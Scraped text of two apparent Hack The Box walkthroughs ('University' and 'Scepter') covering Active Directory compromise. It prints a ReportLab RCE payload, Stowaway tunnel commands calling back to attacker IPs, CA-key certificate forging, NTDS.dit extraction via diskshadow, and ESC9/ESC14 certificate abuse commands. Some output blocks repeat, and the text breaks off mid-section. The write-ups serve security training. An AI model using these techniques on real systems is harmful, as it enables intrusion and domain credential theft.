|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://university.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-04 07:59:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-04T07:59:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h39m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  3 21:19:55 2025 -- 1 IP address (1 host up) scanned in 38.67 seconds

Analysis:

• Port 80: Runs Nginx 1.24.0, likely hosting the main web service and primary attack vector.
• Ports 88, 389, 445, 464, 3268: Indicate this is a domain controller for the domain university.htb, with Kerberos, LDAP, SMB, and password services active.
• Port 53: DNS service associated with Active Directory.
• Port 5985: (Not listed in the scan but commonly present) Typically used for WinRM, enabling remote Windows management.

Web Exploitation

ReportLab RCE (CVE-2023-33733)

Exploit ReportLab’s RCE vulnerability in /profile’s PDF export to gain a wao shell.

When I accessed the web server, I saw a minimalistic and straightforward interface.

Navigating to the login page redirected us to an authentication portal. At this stage, no valid credentials were available, so progress could not continuer

Consequently, a new ‘Student’ account was created to further enumerate the application, given that this role appeared to be publicly accessible.

Random placeholder information filled the registration fields, as illustrated in the example above

We enter the credentials we created earlier.

Once the user logs in successfully, the system displays a dashboard similar to the screenshot above.

The section labelled ‘Profile Export’ appeared promising for exploring potential functionality or vulnerabilities

The PDF report uses a clear and concise format, modeled after the examples provided above

Exploiting CVE-2023-33733: Remote Code Execution via ReportLab in university.htb

While analysing the PDF file, I identified it as a ReportLab-generated document, similar to those encountered during the Solarlab machine engagement

During the SolarLab machine exercise, the exploitation process resembled the steps outlined below

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('<command>') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('<command>') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

Therefore, the team retested the exploit on the current machine to confirm its applicability.

Let’s start our Python server listener

The exploitation method follows the general approach illustrated below

The profile was updated successfully.

A lack of response from the target indicated a failure

It may be necessary to trigger the action by clicking the “Profile Export” button

As expected, triggering the action returned a response.

Refined and updated the payload to achieve the intended outcome.

We received a response, but the file was missing

Let’s start the listener.

We executed a Python3 reverse shell script to establish a callback connection.

Unfortunately, I received no response from the target

I also conducted a test using a Base64-encoded PowerShell command.

Once again, there was no response from the target

Troubleshooting and Resolution Steps on University machine

The team adjusted the command and subsequently tested its effectiveness.

The callback succeeded this time, returning the shell.py file from the server.

The result exceeded expectations.

Access was successfully obtained for user ‘wao’.

BloodHound enumeration

Since we are using a Windows machine, let’s proceed to analyse BloodHound.

There is a significant amount of information here.

WAO belongs to the Domain Users group, so it inherits the default permissions and access rights assigned to all standard users within the domain.

By examining the browse.w connection, we were able to gather a substantial amount of information.

Enumerate the machine as WAO access on the University machine

The only potentially valuable finding at this stage was db.sqlite3, which may contain database information.

In the CA directory, we found three important files: rootCA.crt, which is the root certificate; rootCA.key, the private key associated with the root certificate; and rootCA.srl, a file that tracks the serial numbers of issued certificates. These files are essential components for managing and validating the certificate authority’s trust chain.

Running the command icacls db.sqlite3 displays the access control list (ACL) for the file, showing the users and groups with permissions and the specific rights they hold. This information helps determine who can read, write, or execute the file, providing insight into the security and access restrictions applied to db.sqlite3.

SQLite database enumeration on university machine

Download the db.sqlite3 file to our local machine.

The screenshot above displays the available tables in the database.

Therefore, these hashes can be cracked at a later stage to uncover additional credentials.

Reviewing the Database Backups

We checked the DB-Backup directory and found a PowerShell script (.ps1 file) that might contain useful information.

Although the script doesn’t specify a username, it instead runs under the Windows account executing it, and therefore file and application access depend on that account’s permissions. For example, if the user cannot write to C:\Web\DB Backups\ or read db.sqlite3, then the backup will fail. Likewise, running external programs such as 7z.exe also requires the appropriate permissions.

After gaining access, I ran whoami /all and confirmed that the current user is wao. This matched the password I had earlier (WAO), which strongly indicates it belongs to this user. Although it’s not best practice, it’s common in misconfigured environments for usernames and passwords to be the same or closely related, which made the guess successful.

The term “Internal-VSwitch1” typically refers to a virtual switch created within a virtualization platform like Microsoft Hyper-V.

An “Internal” virtual switch in Hyper-V does not have an IP address itself; rather, the host’s virtual network adapter connected to that internal switch will have an IP address.

SeMachineAccountPrivilege and SeIncreaseWorkingSetPrivilege are disabled by the system, while SeChangeNotifyPrivilege remains enabled.

Let’s transfer the nmap binary to the victim’s machine

The team successfully executed the nmap scan on the victim’s machine

We encountered an error that required us to use the– unprivileged option for successful execution.

Unfortunately, the command still fails to work even after adding the –unprivileged option.

Therefore, at this point, let’s switch to using an alternative scanning tool like rustscan.

Finally, we successfully identified the open ports for the machines:

• 192.168.99.12 has port [22] open.
• 192.168.99.1 has ports [53, 80, 88, 593, 135, 139, 139, 445, 389, 636, 3268, 3269, 5985, 5985] open.
• 192.168.99.2 has ports [135, 139, 139, 445, 5985, 5985] open.

Stowaway usage

Stowaway serves as a multi-hop proxy tool for security researchers and penetration testers.

It allows users to route external traffic through multiple nodes to reach the core internal network, effectively bypassing internal network access restrictions. Creating a tree-like network of nodes simplifies management and access within complex network environments.

The following commands are available to use:

On our machine 
./linux_x64_admin -l 10.10.16.38:2222 -s 111

On victim's machine
shell windows_x64_agent.exe -c 10.10.14.199:2222 -s 111

On our machine 
./linux_x64_admin -l 10.10.16.38:2222 -s 111

On victim's machine
shell windows_x64_agent.exe -c 10.10.14.199:2222 -s 111

Upload the agent onto the victim’s machine.

Run the command I provided earlier.

If the connection is successful, it will appear as shown in the screenshot above.

Therefore, let’s perform port forwarding using the ports we identified earlier.

We can access WS-3 using the credentials obtained earlier.

Access as wao windows

Finally, we successfully gained access.

We also successfully accessed the LAB-2 environment.

The binary we discovered here indicates that we can escalate to root access easily without relying on an exploit.

I presume we have root access inside the Docker container.

Analyze the machine on University machine

Inside the README.txt file, the message reads:

Hello professors,

We have created this note for all users on the domain computers: WS-1, WS-2, and WS-3. These machines have not been updated since 10/29/2023. Since these devices are intended for content evaluation purposes, they must always have the latest security updates. Therefore, it is important to complete the current assessment before moving on to the "WS-4" and "WS-5" computers. The security team plans to begin updating and applying the new security policy early next month.

Kind regards,
Desk Team – Rose Lanosta

Hello professors,

We have created this note for all users on the domain computers: WS-1, WS-2, and WS-3. These machines have not been updated since 10/29/2023. Since these devices are intended for content evaluation purposes, they must always have the latest security updates. Therefore, it is important to complete the current assessment before moving on to the "WS-4" and "WS-5" computers. The security team plans to begin updating and applying the new security policy early next month.

Kind regards,
Desk Team – Rose Lanosta

There’s nothing of interest that I found inside here related to the LAB-2 environment.

Automation-Scripts on University machine

There is an Automation-Scripts directory that could potentially contain malicious code.

There are two PowerShell (.ps1) files we can examine within the Automation-Scripts directory.

Unfortunately, all access attempts were denied.

The date is displayed above.

The Forgotten Campus – Rediscovering the University Web

The login page features a signed certificate.

A Certificate Signing Request (CSR) file is required to proceed further.

Execute the openssl req command.

A CSR file needs to be generated.

Use the following command to sign the CSR and generate the certificate:

openssl x509 -req -in My-CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out My-Certificate.crt -days 365 -sha256

openssl x509 -req -in My-CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out My-Certificate.crt -days 365 -sha256

This command takes the CSR file My-CSR.csr, signs it using the CA’s certificate and key (rootCA.crt and rootCA.key), creates a serial number file if it doesn’t exist (-CAcreateserial), and outputs the signed certificate as My-Certificate.crt valid for 365 days using SHA-256.

Finally, we have provided the george.pem file.

Access as George on dashboard

Use the george.pem file to attempt the login.

Finally, we successfully accessed the system as george.

It will inform you that the signed certificate appears unusual because it is missing. He will then ask you to request a new certificate by uploading the forged professor’s CSR created earlier. Clicking submit triggers the download of a signed document named Professor-Signed-CertificateMy-CSR.csr.

Log out again, then use the signed-cert.pem file to log back in. You should be able to click on “Create a New Course” without encountering any errors.

Create course on dashboard

You can now create a course—just write something, and after creating it, you will find an option at the bottom to add a new lecture.

Lastly, the Course Dashboard is displayed above.

The new course has been created successfully. Check out the Course Dashboard above to explore it.

There are three functions available within course preferences.

Let’s add a new lecture to the course.

Executing the command provided above.

Develop a malicious executable file.

Set up a new folder and upload the malicious file to it.

Generate the passphrase.

The command gpg -u george –detach-sign dark.zip utilizes GPG (GNU Privacy Guard) to generate a detached digital signature for the file dark.zip, ensuring its authenticity and integrity. By specifying the user ID “george” with the -u flag, the command employs George’s private key to create a separate signature file, typically dark.zip.sig, without modifying the original file.

Add a new course here.

The command gpg –export -a “george” > GPG-public-key.asc uses GPG (GNU Privacy Guard) to export the public key associated with the user ID “george” in ASCII-armored format (via the -a flag, making it human-readable text), and redirects the output to a file named GPG-public-key.asc. This file can then be shared for others to import and use for verifying signatures or encrypting messages intended for “george.”

Upload the file to the dashboard.

An error is displayed above stating “Invalid Lecture Integrity.”

Upload the public key here.

Upload the public key successfully

Start the listener in LAB-2.

Access as Martin.T on Lab-2 environment

After a short while, we successfully receive a reverse shell connection.

We successfully gained access to the system as the user martin.t

The user flag has been successfully retrieved.

We can read the user flag by typing type user.txt

Escalate to Root Privilleges Access

Privileges Access

SeChangeNotifyPrivilege is currently enabled, while SeIncreaseWorkingSetPrivilege is disabled in this environment.

Investigate further on University machine

We can retrieve scheduled tasks using the Get-ScheduledTask command.

It has been saved as shown above

There are numerous tasks with the states ‘READY‘ and ‘DISABLED‘.

This system is a virtualized Windows Server 2019 Standard (64-bit) named WS-3, running on an AMD processor under Hyper-V. It has 1.5 GB RAM with limited available memory and is part of the university.htb domain. The server is not using DHCP, with a static IP of 192.168.99.2, and has three security updates installed. The environment runs on Hyper-V virtualization with a UEFI BIOS.

This PowerShell command retrieves all the actions associated with the scheduled task named “Content Evaluator(Professor Simulatorr)” and formats the output as a detailed list showing every property of those actions.

LocalPotato vulnerability

We attempted to execute the LocalPotato exploit, but unfortunately, it failed.

The exploit succeeded when executed using PowerShell

We extracted the system information onto the victim’s machine.

Access as Brose.w privileges

We successfully retrieved the password for the user: v3ryS0l!dP@sswd#X

Let’s access the machine as Brose.W using the credentials we obtained earlier.

All privileges are accessible on this account.

Create a new directory using the appropriate command.

Take advantage of diskshadow

This sequence of PowerShell commands creates a script file named diskshadow.txt for use with the DiskShadow utility, which manages shadow copies (Volume Shadow Copy Service). Each echo command writes a line to the script. The first line sets the shadow copy context to persistent and disables writers to prevent interference. The second line targets the C: volume and assigns it the alias temp. The third line creates the shadow copy, and the last line exposes it as a new drive (Z:) using the alias. This process provides read-only access to a snapshot of the C: drive at a specific point in time. It’s useful for accessing protected or locked files, such as registry hives or system files, without triggering security measures. This technique is often used in system administration and security contexts to safely extract sensitive data from live systems.

The command diskshadow.exe /s c:\zzz\diskshadow.txt runs the DiskShadow utility with a script that creates a persistent shadow copy of the C: drive, assigns it an alias, and exposes it as a new drive for read-only access. This lets users access a snapshot of the drive at a specific time, bypassing file locks and permission restrictions. It’s commonly used in post-exploitation to extract sensitive files like registry hives or credentials without triggering security alerts.

SebackupPrivilege exploit

Identified a website that can potentially be leveraged for privilege escalation.

Upload both files to the victim’s machine.

These commands import modules that enable backup privilege functionality, then use that privilege to copy the sensitive NTDS.dit file—a database containing Active Directory data—from the shadow copy (Z:) to a local directory (C:\dark). This technique allows extraction of critical directory data typically protected by system permissions.

Those files were downloaded to the local machine

Root flag view

We obtained the password hashes for the Administrator account

We can read the root flag by displaying the contents of the type root.txt file.

The post Hack The Box: University Machine Walkthrough – Insane Walkthrough appeared first on Threatninja.net.

Introduction to Scepter

This write-up covers the “Scepter” machine from Hack the Box, a hard difficulty challenge. It details the reconnaissance, exploitation, and privilege escalation steps to capture the user and root flags.

Objective on Scepter

The goal is to complete the “Scepter” machine by achieving these objectives:

User Flag: The attacker cracked weak .pfx certificate passwords using pfx2john and rockyou.txt, Discovering that all shared the same password. After fixing time skew, they extracted d.baker’s NTLM hash via certipy. BloodHound revealed d.baker could reset a.carter’s password due to group privileges over the OU. By exploiting ESC9 and modifying the mail attribute, the attacker generated a spoofed certificate, authenticated as a.carter, and accessed the system to capture the user flag.

Root Flag: The attacker discovered that h.brown could modify p.adams’ certificate mapping, leading to an ESC14 vulnerability. By forging a certificate and binding it to p.adams using altSecurityIdentities, they authenticated as p.adams with Certipy. Since p.adams had DCSync rights, the attacker used secretsdump to extract domain hashes, then pivoted to the Administrator account via evil-winrm, Securing the root flag.

Enumerating the Scepter Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Scepter machine was 10.10.11.65.

Reconnaissance:

Nmap Scan:

We scan the target at IP 10.10.11.65 to identify open ports:

nmap  -sC -sV 10.10.11.65 -oA initial 

nmap  -sC -sV 10.10.11.65 -oA initial 

Nmap Output:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 19:06 EDT
Nmap scan report for 10.10.11.65
Host is up (0.18s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-17 23:13:45Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|_  100005  1,2,3       2049/udp6  mountd
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:50+00:00; +6m52s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:49+00:00; +6m51s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 19:06 EDT
Nmap scan report for 10.10.11.65
Host is up (0.18s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-17 23:13:45Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|_  100005  1,2,3       2049/udp6  mountd
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:50+00:00; +6m52s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:49+00:00; +6m51s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33

2049/tcp open  mountd        1-3 (RPC #100005)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:50+00:00; +6m52s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:49+00:00; +6m51s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6m51s, deviation: 0s, median: 6m50s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-17T23:14:44
|_  start_date: N/A

2049/tcp open  mountd        1-3 (RPC #100005)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:50+00:00; +6m52s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:49+00:00; +6m51s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6m51s, deviation: 0s, median: 6m50s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-17T23:14:44
|_  start_date: N/A

Analysis:

• 53/tcp (DNS): Simple DNS Plus running; possible subdomain enumeration or zone transfer.
• 88/tcp (Kerberos): Kerberos service available; potential for AS-REP roasting or ticket attacks.
• 111/tcp (rpcbind): RPC services exposed; confirms NFS and mountd usage on 2049.
• 135/tcp (MSRPC): Windows RPC service; common on domain controllers, used for DCOM and remote management.
• 139/tcp (NetBIOS-SSN): NetBIOS session service; legacy Windows file/printer sharing.
• 389/tcp (LDAP): LDAP exposed; reveals domain scepter.htb, possible LDAP enumeration.
• 445/tcp (SMB): SMB service running; check for shares, null sessions, and vulnerabilities.
• 464/tcp (kpasswd5): Kerberos password service; often used with password change requests.
• 593/tcp (RPC over HTTP): RPC over HTTP (ncacn_http); used in Outlook and domain services.
• 636/tcp (LDAPS): Secure LDAP; same domain as port 389, check for SSL issues or AD leaks.
• 2049/tcp (NFS): NFS file sharing active; can allow unauthenticated file access or mounting.
• 3268/tcp (GC LDAP): Global Catalog LDAP service; useful for domain-wide user enumeration.
• 3269/tcp (GC LDAPS): Secure Global Catalog LDAP; encrypted version of port 3268.

NFS Enumeration on Scepter Machine

To check for NFS shares, I used:

showmount -e 10.10.11.65

showmount -e 10.10.11.65

Output:

The command showed a /helpdesk share. I mounted it locally:

I create a local folder nfs with mkdir nfs to serve as a mount point. Then, using sudo mount -t nfs 10.10.11.65:/helpdesk nfs -o nolock, you connect the remote /helpdesk share to that folder, making it accessible locally. The -o nolock option prevents locking issues. Finally, sudo ls nfs lists the shared files—like accessing a USB drive, but over the network.

When I tried cd nfs/ with sudo, it failed since cd is a shell built-in. I resolved it by switching to root:

Handling NFS Access

I resolved it by switching to root.

Inside, I found several files:

• scott.pfx
• baker.crt
• baker.key
• clark.pfx
• lewis.pfx

I copied them to a higher directory

Certificate Analysis

baker.crt

I viewed baker.crt

It belonged to d.baker@scepter.htb, issued by scepter-DC01-CA.

baker.key

The corresponding baker.key was encrypted and required a password.

clark.pfx

Viewing .pfx files like clark.pfx showed unreadable binary output. These files are password-protected containers.

OpenSSL and Certificate Recreation

I used OpenSSL to inspect two password-protected .pfx files. Without the correct passwords, access is denied due to strong SHA256 encryption. Cracking these passwords is essential to unlock their contents and advance in the challenge

Cracking PFX Passwords

I used pfx2john.py to extract the hash

Although I’m using Hashcat to crack scott.pfx’s password from scott.hash, I encounter an error because the hash format isn’t recognised. Fix it by specifying the correct mode (-m 13100) or verifying the hash file. This step is crucial to unlock the certificate and gain access.

Password Cracking with John the Ripper

Then, I cracked it using John and the password newpassword worked for scott.hash but I already tested on all *.pfx file and success.

OpenSSL, Certipy, and BloodHound Exploitation Techniques

I re-created baker.pfx and I used newpassword as the export password.

AD CS Exploitation

Certipy Authentication

Another approach was to re-create the baker.pfx file; this was necessary because the original one was either invalid or unusable.

I authenticated to the domain using the baker.pfx file, and this failed initially due to clock skew.

I fixed the time with the command ntpdate -s 10.10.11.65

After syncing, authentication succeeded. I obtained an NTLM hash and a Kerberos .ccache file.

Bloodhound enumeration on Scepter machine

I ran BloodHound with NTLM hash

BloodHound CE GUI Analysis for Privilege Escalation on Scepter Machine

This represents a relationship in BloodHound where the user d.baker@scepter.htb has the ability to force a password change for the user a.carrter@scepter.htb. This is a powerful privilege escalation path because it can potentially allow d.baker to take over a.carrter‘s account by resetting their password.

A.CARTER is a member of the IT SUPPORTSTAFF ACCESS CERTIFICATE group. This group has the modification rights over a specific Organizational Unit (OU).

A.CARTER, as a member of the IT SUPPORTSTAFF ACCESS CERTIFICATE group, not only has modification rights over the OU containing D.BAKER but also can directly manipulate D.BAKER’s mail attribute. As a result, this access consequently opens the door to abusing ESC9 (Active Directory Certificate Services escalation). Furthermore, this vulnerability creates a significant privilege escalation risk that attackers can exploit.

H.BROWN belongs to both the Remote Management Users group and the Protected Users group. As a result, H.BROWN enjoys permissions for remote management tasks, such as accessing servers. However, the Protected Users group imposes strict security restrictions. Consequently, these limitations may block certain authentication methods, like NTLM, or hinder lateral movement within the scepter.htb domain. Therefore, exploiting H.BROWN’s account requires bypassing these constraints, for example, by leveraging certificate-based attacks to achieve privilege escalation in the Scepter machine.

H.BROWN has write permissions over critical attributes, enabling DCSync operations to extract sensitive data, such as password hashes. As a result, they can target P.ADAMS by manipulating the altSecurityIdentities attribute. For instance, updating this attribute with a crafted certificate allows H.BROWN to authenticate as P.ADAMS without a password. Therefore, exploiting altSecurityIdentities is a key step in achieving full domain control in the Scepter machine.

Analysis of Certificate Templates

By using Certipy’s find command, I enumerated certificate templates in AD CS, specifically targeting misconfigurations like ESC1, ESC2, or ESC8 vulnerabilities. For example, these flaws allow attackers to request high-privilege certificates, enabling unauthorized access. Consequently, identifying such issues is critical for exploiting AD CS weaknesses. Additionally, this step facilitates privilege escalation by revealing templates with excessive permissions. Thus, Certipy’s enumeration plays a pivotal role in achieving domain compromise in the Scepter machine.

ESC9: ADCS Privilege Escalation

Exploit Overview:

ESC9 in Active Directory Certificate Services (ADCS) allows attackers to abuse misconfigured certificate templates for privilege escalation. If a template permits users to specify Subject Alternative Names (SANs) (e.g., UPNs) and the CA honours them without restrictions, a low-privileged user can request a certificate impersonating a high-privileged account (like a Domain Admin).

Source: ADCS ESC9 – No Security Extension

Troubleshooting BloodyAD Issues

We need to update the password using the command provided, but unfortunately, the password does not meet the required complexity rules.

The password was successfully changed after meeting the complexity requirements.

The “Invalid Credentials” error (LDAP error code 49) during an LDAP bind typically indicates a failure to authenticate due to incorrect credentials or configuration issues.

System Configuration Assessment

If the UserAccountControl attribute includes the DONT_EXPIRE_PASSWORD flag (value 65536 or 0x10000), the user’s password never expires. Consequently, this setting can disrupt LDAP authentication or password-related operations. For example, systems expecting periodic password changes or strict complexity rules may reject the account’s state. As a result, this could cause the “InvalidCredentials” error (LDAP error code 49) during an LDAP bind in the Scepter machine. Therefore, verifying the account’s configuration and server expectations is crucial for resolving authentication issues.

The screenshot provided displays the output of the ldapsearch command.

Running the bloodyAD command with sudo privileges resolved the issue, and it now functions perfectly.

Certificate Abuse for scepter machine

I used an existing template to request a certificate for h.brown. This gave me h.brown.pfx.

After exploiting AD CS vulnerabilities, the system provided H.BROWN’s NTLM hash and a h.brown.ccache file. Specifically, the .ccache file serves as a temporary access pass, enabling impersonation of H.BROWN across the network without re-entering credentials. For example, this allows discreet movement within the scepter.htb domain. Consequently, it facilitates information gathering, such as enumerating shares or services, for further exploitation. Thus, these credentials are critical for advancing privilege escalation in the Scepter machine.

After obtaining H.BROWN’s Kerberos ticket in the h.brown.ccache file, configure your system to use it. Then, connect to a Windows server, such as dc01.scepter.htb, bypassing password authentication. For instance, if the ticket is valid and the server accepts it, you’ll gain remote access as H.BROWN.

We retrieved the user flag by executing the type user.txt command.

Escalate to Root Privileges Access on Scepter Machine

Privileges Access

H.BROWN’s Permissions

Using H.BROWN’s Kerberos ticket (h.brown.ccache), the command bloodyAD -d scepter.htb -u h.brown -k –host dc01.scepter.htb –dc-ip 10.10.11.65 get object h.brown –detail queries the domain controller. Specifically, it reveals permissions, such as modifying users or groups. For example, the –detail flag provides precise control rights, including write access to P.ADAMS’s altSecurityIdentities. Consequently, this output identifies privilege escalation paths, like DCSync or certificate-based attacks. Thus, querying permissions is a key step in the Scepter machine’s AD exploitation.

altSecurityIdentities Manipulation

You discovered that h.brown has write permissions on the altSecurityIdentities attribute of the user p.adams in Active Directory, as indicated by:

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

This means h.brown can hijack p.adams’s identity by modifying their certificate mapping. With this, h.brown can request a certificate and authenticate as p.adams—no password needed. Moreover, if p.adams is highly privileged (e.g., Domain Admin), h.brown can launch a DCSync attack to dump domain password hashes. Consequently, this single write permission can lead to a complete domain compromise.

Abusing altSecurityIdentities and Certificate-Based Attacks in Active Directory

After using OpenSSL to extract the certificate from d.baker.pfx, the serial number shows up in its usual big-endian format, which is just the standard way it’s displayed.

Exploit ESC14 with User-to-User Certificate-Based Attack

62:00:00:00:05:2a:87:15:0c:cc:01:d1:07:00:00:00:00:00:05

62:00:00:00:05:2a:87:15:0c:cc:01:d1:07:00:00:00:00:00:05

After extracting the certificate serial number from d.baker.pfx using OpenSSL, it appears in big-endian format (e.g., 62:00:00:00:05:2a:87:15:0c:cc:01:d1:07:00:00:00:00:00:05). However, tools like Certipy and BloodyAD require little-endian format for certificate forgery. Therefore, reversing the byte order is crucial for accurate interpretation. For instance, this conversion ensures successful altSecurityIdentities manipulation in commands like bloodyAD set object p.adams altSecurityIdentities.

The command can be used as follows:

bloodyAD -d "scepter.htb" -u "h.brown" -k --host "dc01.scepter.htb" --dc-ip "10.10.11.65" set object "p.adams" altSecurityIdentities -v "X509:<RFC822>p.adams@scepter.htb"

bloodyAD -d "scepter.htb" -u "h.brown" -k --host "dc01.scepter.htb" --dc-ip "10.10.11.65" set object "p.adams" altSecurityIdentities -v "X509:<RFC822>p.adams@scepter.htb"

